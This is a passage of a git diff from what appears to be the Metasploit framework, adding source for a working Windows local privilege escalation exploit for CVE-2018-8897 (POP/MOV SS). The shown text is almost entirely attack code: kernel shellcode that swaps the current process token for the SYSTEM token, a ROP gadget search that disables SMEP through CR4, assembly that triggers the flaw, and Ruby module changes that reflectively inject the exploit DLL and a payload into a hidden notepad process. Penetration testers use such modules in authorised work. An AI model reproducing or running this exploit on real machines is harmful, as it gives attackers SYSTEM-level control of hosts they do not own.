lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset:12; + WORD type:4; +} IMAGE_RELOC, *PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2018-8897/dll/rdi/src/exploiter.cpp b/external/source/exploits/cve-2018-8897/dll/rdi/src/exploiter.cpp new file mode 100755 index 0000000000..b44a1db01f --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/rdi/src/exploiter.cpp @@ -0,0 +1,318 @@ +#include +#include +#include +#include "KernelRoutines.h" +#include "LockedMemory.h" +#include "Native.h" +#include "Error.h" +#include "Exploit.h" + +struct ISR_STACK +{ + uint64_t RIP; + uint64_t CS; + uint64_t EF; + uint64_t RSP; +}; + +// Doensn't really change +static const uint32_t Offset_Pcr__Self = 0x18; +static const uint32_t Offset_Pcr__CurrentPrcb = 0x20; +static const uint32_t Offset_Pcr__Prcb = 0x180; +static const uint32_t Offset_Prcb__CurrentThread = 0x8; +static const uint32_t Offset_Context__XMM13 = 0x270; +static const uint32_t MxCsr__DefVal = 0x1F80; +static const uint32_t Offset_Prcb__RspBase = 0x28; +static const uint32_t Offset_KThread__InitialStack = 0x28; +static const uint32_t Offset_Prcb__Cr8 = 0x100 + 0xA0; +static const uint32_t Offset_Prcb__Cr4 = 0x100 + 0x18; + +// Requires patterns +NON_PAGED_DATA static uint32_t Offset_Prcb__Context = 0x0; // @KeBugCheckEx +NON_PAGED_DATA static uint32_t Offset_KThread__ApcStateFill__Process = 0x0; // @PsGetCurrentProcess + +NON_PAGED_DATA uint64_t ContextBackup[10]; + +NON_PAGED_DATA fnFreeCall k_PsDereferencePrimaryToken = 0; +NON_PAGED_DATA fnFreeCall k_PsReferencePrimaryToken = 0; +NON_PAGED_DATA fnFreeCall k_PsGetCurrentProcess = 0; +NON_PAGED_DATA uint64_t* k_PsInitialSystemProcess = 0; + +NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0; + +using fnIRetToVulnStub = void(*)(uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup); +NON_PAGED_DATA BYTE IRetToVulnStub[] = +{ + 0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4 + 0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack + 0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup + 0xFB, // sti ; enable interrupts + 0x48, 0x31, 0xC0, // xor rax, rax ; lower irql to passive_level + 0x44, 0x0F, 0x22, 0xC0, // mov cr8, rax + 0x48, 0xCF // iretq ; interrupt return +}; + +NON_PAGED_DATA uint64_t PredictedNextRsp = 0; +NON_PAGED_DATA ptrdiff_t StackDelta = 0; + +NON_PAGED_CODE void KernelShellcode() +{ + __writedr(7, 0); + + uint64_t Cr4Old = __readgsqword(Offset_Pcr__Prcb + Offset_Prcb__Cr4); + __writecr4(Cr4Old & ~(1 << 20)); + + __swapgs(); + + // Uncomment if it bugchecks to debug: + // __writedr( 2, StackDelta ); + // __writedr( 3, PredictedNextRsp ); + // __debugbreak(); + // ^ This will let you see StackDelta and RSP clearly in a crash dump so you can check where the process went bad + + uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38; + + // Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault + while ( + ((ISR_STACK*)IsrStackIterator)->CS == 0x10 && + ((ISR_STACK*)IsrStackIterator)->RIP > 0x7FFFFFFEFFFF) + { + + __rollback_isr(IsrStackIterator); + + // We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta + if (((ISR_STACK*)(IsrStackIterator + 0x30))->CS == 0x33) + { + /* + fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap + fffff00e`d7a1bc40 0000000000000010 + fffff00e`d7a1bc48 0000000000000002 + fffff00e`d7a1bc50 fffff00ed7a1bc68 + fffff00e`d7a1bc58 0000000000000000 + fffff00e`d7a1bc60 0000000000000014 + fffff00e`d7a1bc68 00007ff7e2261e95 -- + fffff00e`d7a1bc70 0000000000000033 + fffff00e`d7a1bc78 0000000000000202 + fffff00e`d7a1bc80 000000ad39b6f938 + */ + IsrStackIterator = IsrStackIterator + 0x30; + break; + } + + IsrStackIterator -= StackDelta; + } + + + PVOID KStub = (PVOID)k_ExAllocatePool(0ull, (uint64_t)sizeof(IRetToVulnStub)); + Np_memcpy(KStub, IRetToVulnStub, sizeof(IRetToVulnStub)); + + // ------ KERNEL CODE ------ + + uint64_t SystemProcess = *k_PsInitialSystemProcess; + uint64_t CurrentProcess = k_PsGetCurrentProcess(); + + uint64_t CurrentToken = k_PsReferencePrimaryToken(CurrentProcess); + uint64_t SystemToken = k_PsReferencePrimaryToken(SystemProcess); + + for (int i = 0; i < 0x500; i += 0x8) + { + uint64_t Member = *(uint64_t *)(CurrentProcess + i); + + if ((Member & ~0xF) == CurrentToken) + { + *(uint64_t *)(CurrentProcess + i) = SystemToken; + break; + } + } + + + k_PsDereferencePrimaryToken(CurrentToken); + k_PsDereferencePrimaryToken(SystemToken); + + // ------ KERNEL CODE ------ + + __swapgs(); + + ((ISR_STACK*)IsrStackIterator)->RIP += 1; + (fnIRetToVulnStub(KStub))(Cr4Old, IsrStackIterator, ContextBackup); +} + +PUCHAR AllocateLockedMemoryForKernel(SIZE_T Sz) +{ + PUCHAR Va = (PUCHAR)VirtualAlloc(0, Sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + ZeroMemory(Va, Sz); + for (int i = 0; i < Sz; i += 0x1000) + Np_TryLockPage(Va + i); + return Va; +} + +void PrivEsc() +{ + // Pre-init checks: KVA Shadow + SYSTEM_KERNEL_VA_SHADOW_INFORMATION KvaInfo = { 0 }; + if (!NtQuerySystemInformation(SystemKernelVaShadowInformation, &KvaInfo, (uint64_t) sizeof(KvaInfo), 0ull)) + assert(!KvaInfo.KvaShadowFlags.KvaShadowEnabled); + + // Initialization: Memory allocation, locking sections, loading nt + + assert(Np_LockSections()); + assert(Np_TryLockPage(&__rollback_isr)); + assert(Np_TryLockPage(&__swapgs)); + + KernelContext* KrCtx = Kr_InitContext(); + assert(KrCtx); + + static PUCHAR Pcr = AllocateLockedMemoryForKernel(0x10000); + static PUCHAR KThread = AllocateLockedMemoryForKernel(0x10000); + static PUCHAR KProcess = AllocateLockedMemoryForKernel(0x10000); + static PUCHAR Prcb = Pcr + Offset_Pcr__Prcb; + + + // Offsets: Finding offsets and ROP gadgets + + PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)KrCtx->NtLib; + PIMAGE_NT_HEADERS FileHeader = (PIMAGE_NT_HEADERS)((uint64_t)DosHeader + DosHeader->e_lfanew); + PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)(((uint64_t)&FileHeader->OptionalHeader) + FileHeader->FileHeader.SizeOfOptionalHeader); + while (_strcmpi((char*)SectionHeader->Name, ".text")) SectionHeader++; + + uint64_t AdrRetn = 0; + uint64_t AdrPopRcxRetn = 0; + uint64_t AdrSetCr4Retn = 0; + + PUCHAR NtBegin = (PUCHAR)KrCtx->NtLib + SectionHeader->VirtualAddress; + PUCHAR NtEnd = NtBegin + SectionHeader->Misc.VirtualSize; + + // Find [RETN] + for (PUCHAR It = NtBegin; It < NtEnd; It++) + { + if (It[0] == 0xC3) + { + AdrRetn = It - (PUCHAR)KrCtx->NtLib + KrCtx->NtBase; + break; + } + } + + // Find [POP RCX; RETN] + for (PUCHAR It = NtBegin; It < NtEnd; It++) + { + if (It[0] == 0x59 && It[1] == 0xC3) + { + AdrPopRcxRetn = It - (PUCHAR)KrCtx->NtLib + KrCtx->NtBase; + break; + } + } + + // Find [MOV CR4, RCX; RETN] + for (PUCHAR It = NtBegin; It < NtEnd; It++) + { + if (It[0] == 0x0F && It[1] == 0x22 && + It[2] == 0xE1 && It[3] == 0xC3) + { + AdrSetCr4Retn = It - (PUCHAR)KrCtx->NtLib + KrCtx->NtBase; + break; + } + } + + assert(AdrRetn); + assert(AdrPopRcxRetn); + assert(AdrSetCr4Retn); + + PUCHAR UPsGetCurrentProcess = (PUCHAR)GetProcAddress(KrCtx->NtLib, "PsGetCurrentProcess"); + PUCHAR UKeBugCheckEx = (PUCHAR)GetProcAddress(KrCtx->NtLib, "KeBugCheckEx"); + + for (int i = 0; i < 0x50; i++) + { + if (UKeBugCheckEx[i] == 0x48 && UKeBugCheckEx[i + 1] == 0x8B && // mov rax, + UKeBugCheckEx[i + 7] == 0xE8) // call + { + Offset_Prcb__Context = *(int32_t *)(UKeBugCheckEx + i + 3); + break; + } + } + + for (int i = 0; i < 0x50; i++) + { + if (UPsGetCurrentProcess[i] == 0x48 && UPsGetCurrentProcess[i + 1] == 0x8B && // mov rax, + UPsGetCurrentProcess[i + 7] == 0xC3) // retn + { + Offset_KThread__ApcStateFill__Process = *(int32_t *)(UPsGetCurrentProcess + i + 3); + break; + } + } + + assert(Offset_Prcb__Context); + assert(Offset_KThread__ApcStateFill__Process); + + *(PVOID*)(Pcr + Offset_Pcr__Self) = Pcr; // Pcr.Self + *(PVOID*)(Pcr + Offset_Pcr__CurrentPrcb) = Pcr + Offset_Pcr__Prcb; // Pcr.CurrentPrcb + *(DWORD*)(Prcb) = MxCsr__DefVal; // Prcb.MxCsr + *(PVOID*)(Prcb + Offset_Prcb__CurrentThread) = KThread; // Prcb.CurrentThread + *(PVOID*)(Prcb + Offset_Prcb__Context) = Prcb + 0x3000; // Prcb.Context, Placeholder + *(PVOID*)(KThread + Offset_KThread__ApcStateFill__Process) = KProcess; // EThread.ApcStateFill.EProcess + *(PVOID*)(Prcb + Offset_Prcb__RspBase) = (PVOID)1; // Prcb.RspBase + *(PVOID*)(KThread + Offset_KThread__InitialStack) = 0; // EThread.InitialStack + + NON_PAGED_DATA static DWORD SavedSS = __readss(); + + // Execute Exploit! + + HANDLE ThreadHandle = CreateThread(0, 0, [](LPVOID) -> DWORD + { + volatile PCONTEXT Ctx = *(volatile PCONTEXT*)(Prcb + Offset_Prcb__Context); + + while (!Ctx->Rsp); // Wait for RtlCaptureContext to be called once so we get leaked RSP + uint64_t StackInitial = Ctx->Rsp; + while (Ctx->Rsp == StackInitial); // Wait for it to be called another time so we get the stack pointer difference + // between sequential KiDebugTrapOrFault's + StackDelta = Ctx->Rsp - StackInitial; + PredictedNextRsp = Ctx->Rsp + StackDelta; // Predict next RSP value when RtlCaptureContext is called + uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at + NextRetPtrStorage &= ~0xF; + *(uint64_t*)(Prcb + Offset_Prcb__Context) = NextRetPtrStorage - Offset_Context__XMM13; + // Make RtlCaptureContext write XMM13-XMM15 over it + return 0; + }, 0, 0, 0); + + assert(ThreadHandle); + + assert(SetThreadPriority(ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL)); + SetThreadAffinityMask(ThreadHandle, 0xFFFFFFFE); + SetThreadAffinityMask(HANDLE(-2), 0x00000001); + + k_ExAllocatePool = KrCtx->GetProcAddress<>("ExAllocatePool"); + k_PsReferencePrimaryToken = KrCtx->GetProcAddress<>("PsReferencePrimaryToken"); + k_PsDereferencePrimaryToken = KrCtx->GetProcAddress<>("PsDereferencePrimaryToken"); + k_PsGetCurrentProcess = KrCtx->GetProcAddress<>("PsGetCurrentProcess"); + k_PsInitialSystemProcess = KrCtx->GetProcAddress("PsInitialSystemProcess"); + + //Force proper execution order? If you leave this out, the computer can BSoD. + Sleep(1000); + + CONTEXT Ctx = { 0 }; + Ctx.Dr0 = (uint64_t)&SavedSS; // Trap SS + Ctx.Dr1 = (uint64_t)Prcb + Offset_Prcb__Cr8; // Trap KiSaveProcessorControlState, Cr8 storage + Ctx.Dr7 = + (1 << 0) | (3 << 16) | (3 << 18) | // R/W, 4 Bytes, Active + (1 << 2) | (3 << 20) | (2 << 22); // W, 8 Bytes, Active + Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + + assert(SetThreadContext(HANDLE(-2), &Ctx)); + + uint64_t RetnRetn[2] = { AdrRetn, AdrRetn }; + uint64_t PopRcxRetnRcx[2] = { AdrPopRcxRetn, 0x506f8 }; + uint64_t SetCr4Retn[2] = { AdrSetCr4Retn, (uint64_t)&KernelShellcode }; + + // RSP: + __setxmm13((BYTE*)RetnRetn); // &retn // we need to align xmm writes so two place holders just incase! + // &retn + __setxmm14((BYTE*)PopRcxRetnRcx); // &pop rcx + // 0x506f8 + __setxmm15((BYTE*)SetCr4Retn); // &mov cr4, rcx; retn + // &KernelShellcode + + PVOID ProperGsBase = __read_gs_base(); + __set_gs_base(Pcr); + __triggervuln(ContextBackup, &SavedSS); // Let the fun begin + __set_gs_base(ProperGsBase); + return; +} diff --git a/external/source/exploits/cve-2018-8897/exe/Error.h b/external/source/exploits/cve-2018-8897/exe/Error.h new file mode 100644 index 0000000000..29607d3ad5 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/exe/Error.h @@ -0,0 +1,10 @@ +#pragma once + +#define ERROR( msg ) \ +{SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 12 ); \ +printf( "\n[[[[[[ " msg " ]]]]]]\n\n" ); \ +system( "pause" ); \ +exit( 0 );} + + +#define assert( cond ) if( !(cond) ) ERROR( "Assert Failed: " #cond ) \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897-exe/KernelRoutines.h b/external/source/exploits/cve-2018-8897/exe/KernelRoutines.h similarity index 100% rename from external/source/exploits/cve-2018-8897-exe/KernelRoutines.h rename to external/source/exploits/cve-2018-8897/exe/KernelRoutines.h diff --git a/external/source/exploits/cve-2018-8897-exe/LICENSE b/external/source/exploits/cve-2018-8897/exe/LICENSE similarity index 100% rename from external/source/exploits/cve-2018-8897-exe/LICENSE rename to external/source/exploits/cve-2018-8897/exe/LICENSE diff --git a/external/source/exploits/cve-2018-8897-exe/LockedMemory.h b/external/source/exploits/cve-2018-8897/exe/LockedMemory.h similarity index 100% rename from external/source/exploits/cve-2018-8897-exe/LockedMemory.h rename to external/source/exploits/cve-2018-8897/exe/LockedMemory.h diff --git a/external/source/exploits/cve-2018-8897/exe/Native.asm b/external/source/exploits/cve-2018-8897/exe/Native.asm new file mode 100644 index 0000000000..5797fe7e01 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/exe/Native.asm @@ -0,0 +1,146 @@ +.code + __swapgs PROC + swapgs + ret + __swapgs ENDP + + __rollback_isr PROC + mov rdx, [rsp] ; rdx = Return pointer + lea r8, [rsp+8h] ; r8 = Old stack + mov [rcx], rdx ; isr stack.rip = Return pointer + mov [rcx+18h], r8 ; isr stack.rsp = Old stack + mov rsp, rcx ; stack = isr stack + iretq ; return + __rollback_isr ENDP + + __set_gs_base PROC + wrgsbase rcx + ret + __set_gs_base ENDP + + __readss PROC + xor eax, eax + mov ax, ss + ret + __readss ENDP + + __read_gs_base PROC + rdgsbase rax + ret + __read_gs_base ENDP + + __triggervuln PROC + mov [rcx+8*0], r12 ; save registers + mov [rcx+8*1], r13 + mov [rcx+8*2], r14 + mov [rcx+8*3], r15 + mov [rcx+8*4], rdi + mov [rcx+8*5], rsi + mov [rcx+8*6], rbx + mov [rcx+8*7], rbp + mov [rcx+8*8], rsp + pushfq + pop [rcx+8*9] + + mov ss, word ptr [rdx] ; Defer debug exception + int 3 ; Execute with interrupts disabled + nop + nop + nop + nop + + mov r12, [rcx+8*0] ; load registers + mov r13, [rcx+8*1] + mov r14, [rcx+8*2] + mov r15, [rcx+8*3] + mov rdi, [rcx+8*4] + mov rsi, [rcx+8*5] + mov rbx, [rcx+8*6] + mov rbp, [rcx+8*7] + mov rsp, [rcx+8*8] + push [rcx+8*9] + popfq + ret + __triggervuln ENDP + + + __setxmm0 PROC + movups xmm0, [rcx] + ret + __setxmm0 ENDP + + __setxmm1 PROC + movups xmm1, [rcx] + ret + __setxmm1 ENDP + + __setxmm2 PROC + movups xmm2, [rcx] + ret + __setxmm2 ENDP + + __setxmm3 PROC + movups xmm3, [rcx] + ret + __setxmm3 ENDP + + __setxmm4 PROC + movups xmm4, [rcx] + ret + __setxmm4 ENDP + + __setxmm5 PROC + movups xmm5, [rcx] + ret + __setxmm5 ENDP + + __setxmm6 PROC + movups xmm6, [rcx] + ret + __setxmm6 ENDP + + __setxmm7 PROC + movups xmm7, [rcx] + ret + __setxmm7 ENDP + + __setxmm8 PROC + movups xmm8, [rcx] + ret + __setxmm8 ENDP + + __setxmm9 PROC + movups xmm9, [rcx] + ret + __setxmm9 ENDP + + __setxmm10 PROC + movups xmm10, [rcx] + ret + __setxmm10 ENDP + + __setxmm11 PROC + movups xmm11, [rcx] + ret + __setxmm11 ENDP + + __setxmm12 PROC + movups xmm12, [rcx] + ret + __setxmm12 ENDP + + __setxmm13 PROC + movups xmm13, [rcx] + ret + __setxmm13 ENDP + + __setxmm14 PROC + movups xmm14, [rcx] + ret + __setxmm14 ENDP + + __setxmm15 PROC + movups xmm15, [rcx] + ret + __setxmm15 ENDP +end diff --git a/external/source/exploits/cve-2018-8897/exe/Native.h b/external/source/exploits/cve-2018-8897/exe/Native.h new file mode 100644 index 0000000000..e3383a06d0 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/exe/Native.h @@ -0,0 +1,30 @@ +#pragma once +#include +#include + +extern "C" +{ + void __setxmm0( BYTE* ); + void __setxmm1( BYTE* ); + void __setxmm2( BYTE* ); + void __setxmm3( BYTE* ); + void __setxmm4( BYTE* ); + void __setxmm5( BYTE* ); + void __setxmm6( BYTE* ); + void __setxmm7( BYTE* ); + void __setxmm8( BYTE* ); + void __setxmm9( BYTE* ); + void __setxmm10( BYTE* ); + void __setxmm11( BYTE* ); + void __setxmm12( BYTE* ); + void __setxmm13( BYTE* ); + void __setxmm14( BYTE* ); + void __setxmm15( BYTE* ); + + void __swapgs(); + uint16_t __readss(); + PVOID __read_gs_base(); + void __set_gs_base( PVOID GsBase ); + void __rollback_isr( uint64_t IsrStack ); + void __triggervuln( PVOID RegSave, PVOID Abc ); +}; diff --git a/external/source/exploits/cve-2018-8897/exe/NtDefines.h b/external/source/exploits/cve-2018-8897/exe/NtDefines.h new file mode 100644 index 0000000000..f2c981e591 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/exe/NtDefines.h @@ -0,0 +1,72 @@ +#pragma once +#include + +#pragma pack(push, 8) +typedef struct _SYSTEM_MODULE_ENTRY +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[ 256 ]; +} SYSTEM_MODULE_ENTRY, *PSYSTEM_MODULE_ENTRY; + +typedef struct _SYSTEM_MODULE_INFORMATION +{ + ULONG Count; + SYSTEM_MODULE_ENTRY Module[ 0 ]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +typedef struct _UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING; + +typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION +{ + struct + { + ULONG KvaShadowEnabled : 1; + ULONG KvaShadowUserGlobal : 1; + ULONG KvaShadowPcid : 1; + ULONG KvaShadowInvpcid : 1; + ULONG Reserved : 28; + } KvaShadowFlags; +} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, *PSYSTEM_KERNEL_VA_SHADOW_INFORMATION; + +typedef UNICODE_STRING *PUNICODE_STRING; +#pragma pack(pop) + +#define NtCurrentProcess() ( HANDLE(-1) ) +#define SeLoadDriverPrivilege 10ull +#define SystemModuleInformation 0xBull +#define SystemKernelVaShadowInformation 196ull +#define AdjustCurrentProcess 0ull +#define STATUS_SUCCESS 0 + +using fnFreeCall = uint64_t( __fastcall* )( ... ); + +template +static NTSTATUS __NtRoutine( const char* Name, Params &&... params ) +{ + auto fn = ( fnFreeCall ) GetProcAddress( GetModuleHandleA( "ntdll.dll" ), Name ); + return fn( std::forward( params ) ... ); +} + +#define NtQuerySystemInformation(...) __NtRoutine("NtQuerySystemInformation", __VA_ARGS__) +#define RtlAdjustPrivilege(...) __NtRoutine("RtlAdjustPrivilege", __VA_ARGS__) +#define NtUnloadDriver(...) __NtRoutine("NtUnloadDriver", __VA_ARGS__) +#define NtLoadDriver(...) __NtRoutine("NtLoadDriver", __VA_ARGS__) + +static BOOL AcquirePrivilege( DWORD Privilage, DWORD Proc ) +{ + BOOLEAN Enabled = 0; + return !RtlAdjustPrivilege( Privilage, 1ull, Proc, &Enabled ) || Enabled; +} diff --git a/external/source/exploits/cve-2018-8897-exe/README.md b/external/source/exploits/cve-2018-8897/exe/README.md similarity index 100% rename from external/source/exploits/cve-2018-8897-exe/README.md rename to external/source/exploits/cve-2018-8897/exe/README.md diff --git a/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.cpp b/external/source/exploits/cve-2018-8897/exe/cve-2018-8897-exe.cpp similarity index 100% rename from external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.cpp rename to external/source/exploits/cve-2018-8897/exe/cve-2018-8897-exe.cpp diff --git a/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.sln b/external/source/exploits/cve-2018-8897/exe/cve-2018-8897-exe.sln similarity index 100% rename from external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.sln rename to external/source/exploits/cve-2018-8897/exe/cve-2018-8897-exe.sln diff --git a/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj b/external/source/exploits/cve-2018-8897/exe/cve-2018-8897-exe.vcxproj similarity index 100% rename from external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj rename to external/source/exploits/cve-2018-8897/exe/cve-2018-8897-exe.vcxproj diff --git a/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj.filters b/external/source/exploits/cve-2018-8897/exe/cve-2018-8897-exe.vcxproj.filters similarity index 100% rename from external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj.filters rename to external/source/exploits/cve-2018-8897/exe/cve-2018-8897-exe.vcxproj.filters diff --git a/modules/exploits/windows/local/mov_ss.rb b/modules/exploits/windows/local/mov_ss.rb index 78570c6e74..3762665a99 100644 --- a/modules/exploits/windows/local/mov_ss.rb +++ b/modules/exploits/windows/local/mov_ss.rb @@ -16,11 +16,12 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Exploit::EXE + include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability', - 'Description' => %q{ + 'Description' => %q( This module exploits a vulnerability in a statement in the system programming guide of the Intel 64 and IA-32 architectures software developer's manual being mishandled in various operating system kerneles, resulting in unexpected behavior for #DB @@ -28,7 +29,7 @@ class MetasploitModule < Msf::Exploit::Local This module will upload the pre-compiled exploit and use it to execute the final payload in order to gain remote code execution. - }, + ), 'License' => MSF_LICENSE, 'Author' => [ @@ -37,11 +38,11 @@ class MetasploitModule < Msf::Exploit::Local 'Can Bölük ', # PoC 'bwatters-r7' # msf module ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], 'Targets' => [ - [ 'Windows x64', { 'Arch' => ARCH_X64 } ] + ['Windows x64', { 'Arch' => ARCH_X64 }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 08 2018', @@ -60,21 +61,38 @@ class MetasploitModule < Msf::Exploit::Local )) register_options([ + OptBool.new('USE_INJECTION', + [true, 'Use in-memory dll injection rather than exe file uploads.', true]), OptString.new('EXPLOIT_NAME', - [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]), + [false, 'The filename to use for the exploit binary if USE_INJECTION=false (%RAND% by default).', nil]), OptString.new('PAYLOAD_NAME', - [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), + [false, 'The filename for the payload to be used on the target host if USE_INJECTION=false (%RAND%.exe by default).', nil]), OptString.new('PATH', - [false, 'Path to write binaries (%TEMP% by default).', nil]), + [false, 'Path to write binaries if if USE_INJECTION=false(%TEMP% by default).', nil]), OptInt.new('EXECUTE_DELAY', - [false, 'The number of seconds to delay before executing the exploit', 3]) + [false, 'The number of seconds to delay before executing the exploit if USE_INJECTION=false', 3]) ]) end + def setup_process + begin + print_status('Launching notepad to host the exploit...') + notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true) + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + # Sandboxes could not allow to create a new process + # stdapi_sys_process_execute: Operation failed: Access is denied. + print_error('Operation failed. Trying to elevate the current process...') + process = client.sys.process.open + end + process + end + def setup super - @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) - @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i) @payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i) @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') @@ -83,9 +101,27 @@ class MetasploitModule < Msf::Exploit::Local @payload_exe = generate_payload_exe end + def inject_magic(process) + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'reflective_dll.x64.dll') + library_path = ::File.expand_path(library_path) + + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") + dll = '' + ::File.open(library_path, 'rb') { |f| dll = f.read } + + exploit_mem, offset = inject_dll_data_into_process(process, dll) + + print_status("Exploit injected. Injecting payload into #{process.pid}...") + payload_mem = inject_into_process(process, payload.encoded) + + # invoke the exploit, passing in the address of the payload that + # we want invoked on successful exploitation. + print_status('Payload injected. Executing exploit...') + process.thread.create(exploit_mem + offset, payload_mem) + end + def validate_active_host begin - host = session.session_host print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") @@ -130,7 +166,7 @@ class MetasploitModule < Msf::Exploit::Local end def upload_exploit - local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe') + local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'cve-2018-8897-exe.exe') upload_file(exploit_path, local_exploit_path) print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}") end @@ -147,16 +183,30 @@ class MetasploitModule < Msf::Exploit::Local vprint_status(output) end - def exploit + def exploit_dll begin + print_status('Checking target...') validate_active_host validate_target + print_status('Target Looks Good... trying to start notepad') + process = setup_process + inject_magic(process) + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + rescue Rex::Post::Meterpreter::RequestError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + print_error(e.message) + end + end + + def exploit_exe + begin validate_remote_path(temp_path) ensure_clean_exploit_destination ensure_clean_payload_destination upload_exploit upload_payload execute_exploit + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error(e.message) @@ -165,6 +215,18 @@ class MetasploitModule < Msf::Exploit::Local end end + def exploit + begin + validate_active_host + validate_target + if 